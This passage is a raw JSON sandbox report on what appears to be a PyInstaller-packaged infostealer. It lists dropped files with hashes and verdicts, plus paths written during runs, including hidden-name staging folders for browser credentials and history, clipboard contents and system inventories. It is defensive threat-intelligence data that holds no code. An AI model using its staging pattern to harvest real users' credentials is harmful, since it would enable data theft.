ox","report_id":"6ad117f25203a8beb90e63b4"}]},{"name":"VCRUNTIME140.dll","sha256":"76fdb83fde238226b5bebaf3392ee562e2cb7ca8d3ef75983bf5f9d6c7119644","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"name":"48d1b37a6e8baa7c4dbc9b2d39f2ac662f185248c80eb85c3261822381753d56","sha256":"48d1b37a6e8baa7c4dbc9b2d39f2ac662f185248c80eb85c3261822381753d56","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"c386039d9e5e41d5d968338da9ddf1a64019036b42b0dc6a31d6bf94c8292227","sha256":"c386039d9e5e41d5d968338da9ddf1a64019036b42b0dc6a31d6bf94c8292227","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"_ctypes.pyd","sha256":"5d5c80b2e8a1cf081aa41c35c48f73df384cf526f358e91f80ba2ad48b6e52f7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"name":"0a22c7f415a74ffb5d24773abc70f024fee16ded835cdfba689507b7f807ab2b","sha256":"0a22c7f415a74ffb5d24773abc70f024fee16ded835cdfba689507b7f807ab2b","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"_hashlib.pyd","sha256":"c3024b95f7f1757d9496c8171eaca5f8b9bb8c7cd7f6077077b5aaa1302b0ca4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"name":"5a6b49358772db0b5c682575f02e8630083568542b984d6d00727740506569d4","sha256":"5a6b49358772db0b5c682575f02e8630083568542b984d6d00727740506569d4","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"2b4b2d4a06044ad0bd2ae3287cfcbecd90b959feb2f503ac258d7c0a235d6fe9","sha256":"2b4b2d4a06044ad0bd2ae3287cfcbecd90b959feb2f503ac258d7c0a235d6fe9","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"484ff53aad6cf53236c0a31ffa6a39b6fe762ff59d0257b2db1fcd6ccb7ace92","sha256":"484ff53aad6cf53236c0a31ffa6a39b6fe762ff59d0257b2db1fcd6ccb7ace92","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"StartupProfileData-NonInteractive","sha256":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"name":"linear-base64-chunk-003","sha256":"6a3539add807790ffc4ebc41a1e7ee1f1992cc3e5aafdaa17a234f4106adddec","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"4493386eee5712a51f8f11f3040be256f1ea73876d54fd7b95082163240e3586","sha256":"4493386eee5712a51f8f11f3040be256f1ea73876d54fd7b95082163240e3586","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"rarreg.key","sha256":"58209c8ab4191e834ffe2ecd003fd7a830d3650f0fd1355a74eb8a47c61d4211","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"name":"b5d0241e9dc7cf46d4eb3846cf5e0425bb08eefa1d5e04ed8793f721909c4cf6","sha256":"b5d0241e9dc7cf46d4eb3846cf5e0425bb08eefa1d5e04ed8793f721909c4cf6","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"e25dbf447c5ee047309b49a8c963f46976d63aaf43948085471fb0f558e2003d","sha256":"e25dbf447c5ee047309b49a8c963f46976d63aaf43948085471fb0f558e2003d","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"6b620ab6a5f8e94a6a83477278a22bb9177cc758ebcc63789c75cedbf6b097b6","sha256":"6b620ab6a5f8e94a6a83477278a22bb9177cc758ebcc63789c75cedbf6b097b6","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"8078a5ff6c405c38ae3e9a3e808db5fadc42ccbd206dd020eb2e07722518361e","sha256":"8078a5ff6c405c38ae3e9a3e808db5fadc42ccbd206dd020eb2e07722518361e","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"ab2b2386b15d05fdb809ed636b921fa78c1a203700adcc234289d43d9e6a3380","sha256":"ab2b2386b15d05fdb809ed636b921fa78c1a203700adcc234289d43d9e6a3380","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"linear-base64-chunk-055","sha256":"08c06b9d4cad3dccc2d9c93b3adac070812813770daf56b567de442925971981","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"2026-10-14T06-04-44-6889a1.ps1","sha256":"6889a1b7caff6f1651a71c015c8df4da42aaa7a310141f97797e1d9e9d593b7d","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"98a051822ca485e34d1ba97eb391c8f9abdab4cbc454822c0ca5ca05f767ac9e","sha256":"98a051822ca485e34d1ba97eb391c8f9abdab4cbc454822c0ca5ca05f767ac9e","verdict":"suspicious","sources":[{"report_type":"qsp","report_id":""}]},{"name":"ZTmYR.zip","sha256":"8110e9b87f814748759f02c25ed363d82fc15459962cd4c24927731e7f35bf7e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"name":"V0Yfi93zFq.tmp","sha256":"281c8a31b2a9c3110e767cdd22220e99f0d4ae97251a569fc5df66d881adc878","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"name":"VkN8qaA62Y.tmp","sha256":"d36b93c635ea776fe9ea8eb6bcdd914491e8112513d3a63db6b39cf9f554789f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\_MEI50282\\VCRUNTIME140.dll","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\_MEI50282\\_bz2.pyd","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\_MEI50282\\_ctypes.pyd","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\_MEI50282\\_decimal.pyd","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\_MEI50282\\_hashlib.pyd","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\_MEI50282\\_lzma.pyd","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\_MEI50282\\_queue.pyd","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\_MEI50282\\_socket.pyd","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\_MEI50282\\_sqlite3.pyd","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\_MEI50282\\_ssl.pyd","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\_MEI50282\\libcrypto-1_1.dll","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\_MEI50282\\libffi-7.dll","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\_MEI50282\\libssl-1_1.dll","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\_MEI50282\\python310.dll","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\_MEI50282\\rar.exe","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\_MEI50282\\select.pyd","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\_MEI50282\\sqlite3.dll","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\_MEI50282\\tinyaes.cp310-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\_MEI50282\\unicodedata.pyd","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\_MEI50282\\Camera","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\_MEI50282\\base_library.zip","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\_MEI50282\\rarreg.key","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\sslkey.txt","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\_MEI50282\\Camera.exe","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\‎    ‏ \\System\\Antivirus.txt","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\‎    ‏ \\Directories\\Desktop.txt","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\‎    ‏ \\Directories","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\‎    ‏ \\Directories\\Documents.txt","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\‎    ‏ \\Directories\\Downloads.txt","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\‎    ‏ \\Directories\\Music.txt","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\‎    ‏ \\Directories\\Pictures.txt","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\‎    ‏ \\Directories\\Videos.txt","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\‎    ‏ \\System\\Clipboard.txt","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"PIPE\\srvsvc","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_wvaka3tf.ra2.ps1","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_zwnrogxa.vac.ps1","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_55bf5q1e.wli.psm1","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_y3ab1goo.jcn.ps1","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_lanwbxd5.2g5.psm1","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"}]},{"path":"%LOCALAPPDATA%\\PeerDistRepub","sources":[{"report_type":"sandbox","report_id":"6acf414376ad75506a05e069"},{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"path":"%TEMP%\\_MEI42322\\VCRUNTIME140.dll","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"path":"%TEMP%\\_MEI42322\\_bz2.pyd","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"path":"%TEMP%\\_MEI42322\\_ctypes.pyd","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"path":"%TEMP%\\_MEI42322\\_decimal.pyd","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"path":"%TEMP%\\_MEI42322\\_hashlib.pyd","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"path":"%TEMP%\\_MEI42322\\_lzma.pyd","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"path":"%TEMP%\\_MEI42322\\_queue.pyd","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"path":"%TEMP%\\_MEI42322\\_socket.pyd","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"path":"%TEMP%\\_MEI42322\\_sqlite3.pyd","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"path":"%TEMP%\\_MEI42322\\_ssl.pyd","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"path":"%TEMP%\\_MEI42322\\libcrypto-1_1.dll","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"path":"%TEMP%\\_MEI42322\\libffi-7.dll","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"path":"%TEMP%\\_MEI42322\\libssl-1_1.dll","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"path":"%TEMP%\\_MEI42322\\python310.dll","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"path":"%TEMP%\\_MEI42322\\rar.exe","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"path":"%TEMP%\\_MEI42322\\select.pyd","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"path":"%TEMP%\\_MEI42322\\sqlite3.dll","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"path":"%TEMP%\\_MEI42322\\tinyaes.cp310-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"path":"%TEMP%\\_MEI42322\\unicodedata.pyd","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"path":"%TEMP%\\_MEI42322\\Camera","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"path":"%TEMP%\\_MEI42322\\base_library.zip","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"path":"%TEMP%\\_MEI42322\\rarreg.key","sources":[{"report_type":"sandbox","report_id":"6ad11711ffc6c1f1cb024bd6"}]},{"path":"%TEMP%\\_MEI41162\\VCRUNTIME140.dll","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\_MEI41162\\_bz2.pyd","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\_MEI41162\\_ctypes.pyd","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\_MEI41162\\_decimal.pyd","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\_MEI41162\\_hashlib.pyd","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\_MEI41162\\_lzma.pyd","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\_MEI41162\\_queue.pyd","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\_MEI41162\\_socket.pyd","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\_MEI41162\\_sqlite3.pyd","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\_MEI41162\\_ssl.pyd","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\_MEI41162\\libcrypto-1_1.dll","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\_MEI41162\\libffi-7.dll","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\_MEI41162\\libssl-1_1.dll","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\_MEI41162\\python310.dll","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\_MEI41162\\rar.exe","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\_MEI41162\\select.pyd","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\_MEI41162\\sqlite3.dll","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\_MEI41162\\tinyaes.cp310-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\_MEI41162\\unicodedata.pyd","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\_MEI41162\\Camera","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\_MEI41162\\base_library.zip","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\_MEI41162\\rarreg.key","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\_MEI41162\\Camera.exe","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\‎ ‎‍ ‏ \\System\\Antivirus.txt","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\‎ ‎‍ ‏ \\Directories\\Desktop.txt","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\‎ ‎‍ ‏ \\Directories","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\‎ ‎‍ ‏ \\Directories\\Documents.txt","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\‎ ‎‍ ‏ \\Directories\\Downloads.txt","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\‎ ‎‍ ‏ \\Directories\\Music.txt","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\‎ ‎‍ ‏ \\Directories\\Pictures.txt","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\‎ ‎‍ ‏ \\Directories\\Videos.txt","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\‎ ‎‍ ‏ \\System","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\‎ ‎‍ ‏ \\System\\Clipboard.txt","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\eWcWrPuktK.tmp","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\d12RPMeiGT.tmp","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\4LKxmmmE4X.tmp","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\‎ ‎‍ ‏ \\Credentials\\Edge\\Edge History.txt","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\‎ ‎‍ ‏ \\System\\Task List.txt","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\b2dOIZw3IO.tmp","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\kiX34KmYZb.tmp","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\Vby9QcrZcU.tmp","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\‎ ‎‍ ‏ \\Credentials\\Chrome\\Chrome History.txt","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\‎ ‎‍ ‏ \\Tree.txt","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_vqjl5l4r.iak.ps1","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_fethtmkj.kyh.psm1","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_xtyqsncr.k44.ps1","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_rhchnaw3.jlh.psm1","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"6ad116f42b9cb842e501f21f"},{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\_MEI7682\\VCRUNTIME140.dll","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\_MEI7682\\_bz2.pyd","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\_MEI7682\\_ctypes.pyd","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\_MEI7682\\_decimal.pyd","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\_MEI7682\\_hashlib.pyd","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\_MEI7682\\_lzma.pyd","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\_MEI7682\\_queue.pyd","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\_MEI7682\\_socket.pyd","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\_MEI7682\\_sqlite3.pyd","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\_MEI7682\\_ssl.pyd","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\_MEI7682\\libcrypto-1_1.dll","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\_MEI7682\\libffi-7.dll","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\_MEI7682\\libssl-1_1.dll","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\_MEI7682\\python310.dll","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\_MEI7682\\rar.exe","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\_MEI7682\\select.pyd","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\_MEI7682\\sqlite3.dll","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\_MEI7682\\tinyaes.cp310-win_amd64.pyd","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\_MEI7682\\unicodedata.pyd","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\_MEI7682\\Camera","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\_MEI7682\\base_library.zip","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\_MEI7682\\rarreg.key","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\_MEI7682\\Camera.exe","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\ ‍ ‎ \\System\\Antivirus.txt","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\ulw0yEP3JM.tmp","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\gyM24i7zei.tmp","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\s1PQW6t7uL.tmp","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\V0Yfi93zFq.tmp","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\ ‍ ‎ \\System","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\ ‍ ‎ \\System\\Task List.txt","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\VkN8qaA62Y.tmp","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\ ‍ ‎ \\Credentials\\Chrome\\Chrome History.txt","sources":[{"report_type":"sandbox","report_id":"6ad117f25203a8beb90e63b4"}]},{"path":"%TEMP%\\ ‍ ‎ 